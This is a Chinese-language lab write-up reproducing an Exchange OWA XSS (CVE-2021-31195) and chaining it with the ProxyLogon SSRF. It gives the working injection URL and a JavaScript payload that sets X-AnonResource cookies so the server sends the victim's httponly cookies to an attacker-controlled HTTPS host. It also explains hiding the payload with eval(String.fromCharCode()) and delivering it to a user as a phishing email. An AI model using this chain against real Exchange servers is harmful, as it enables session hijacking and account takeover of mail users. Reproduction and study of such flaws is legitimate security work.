exchange中XSS
0x01前言
实验环境:win7、winserver2016、win10。
win7搭建有https服务器,winserver2016 exchange搭载在上边,win10作渗透机
0x11漏洞信息
首先是一个XSS漏洞(CVE-2021-31195)漏洞成因使用\绕过json格式从而达到js注入。
https://exchange/owa/auth/frowny.aspx
?app=people
&et=ServerError
&esrc=MasterPage
&te=\
&refurl=}}};alert(document.domain)//
0x21复现
既然有XSS那么试试看,document.cookie看看能不能直接获取。😥,发现重要的cookie受到了httponly保护,既然document.cookie失败了,那么直接获取cookie发送到目标是行不通了。
但是我们可以借鉴proxyLogon中的ssrf,这个ssrf非常的强大(在学习了通过XSS获取cookie以后,才发现了这个SSRF非常强大)。
proxyLogon中的SSRF,就是绕过exchange的前端认证,直接访问可控后端(exchange有前端代理模块,只有当前端代理认证成功了,请求才会发送到后端)。
也许到这里我们还没有发现这个SSRF的强大。接下来请看,在ssrf以后,后端路径是可控的,那如果我们把可控的后端路径设置为任意服务器地址,那岂不是请求可以发送到任意服务器,这样子exchange服务器就成了我们的帮凶。
顺着这个思路我们来试一试。
首先搭建好一个直接https的服务器来接收exchange发送过来的https请求,必须是https因为exchange前端发送给后端的是https。
首先直接上写好的js。
document.cookie="X-AnonResource=true";document.cookie="X-AnonResource-Backend=foo]@xxxxxx/hacker/#~111";var img = document.createElement("img");img.src="https://xxxxxxx/owa/auth/x.js";document.getElementsByTagName("body")[0].appendChild(img);
首先我们先放入url中试一试。
https://exchange/owa/auth/frowny.aspx
?app=people
&et=ServerError
&esrc=MasterPage
&te=\
&refurl=}}};alert(document.domain)//
js执行不了原因是引号被过滤了变成了&形式,紧接着我们试一试能不能执行eval()函数,发现eval()没有过滤。那我们可以先将我们的js变成ascii码然后注入的时候使用String.fromCharCode()将ascii码转换成字符串,再丢进eval()中去执行。直接丢进url中是可以被执行的。
那我们直接把它当作邮件发给一个用户
可以看到我们的邮件发出去了。
点一下发家致富入口。
此时再我们win7的服务器上已经获取到了cookie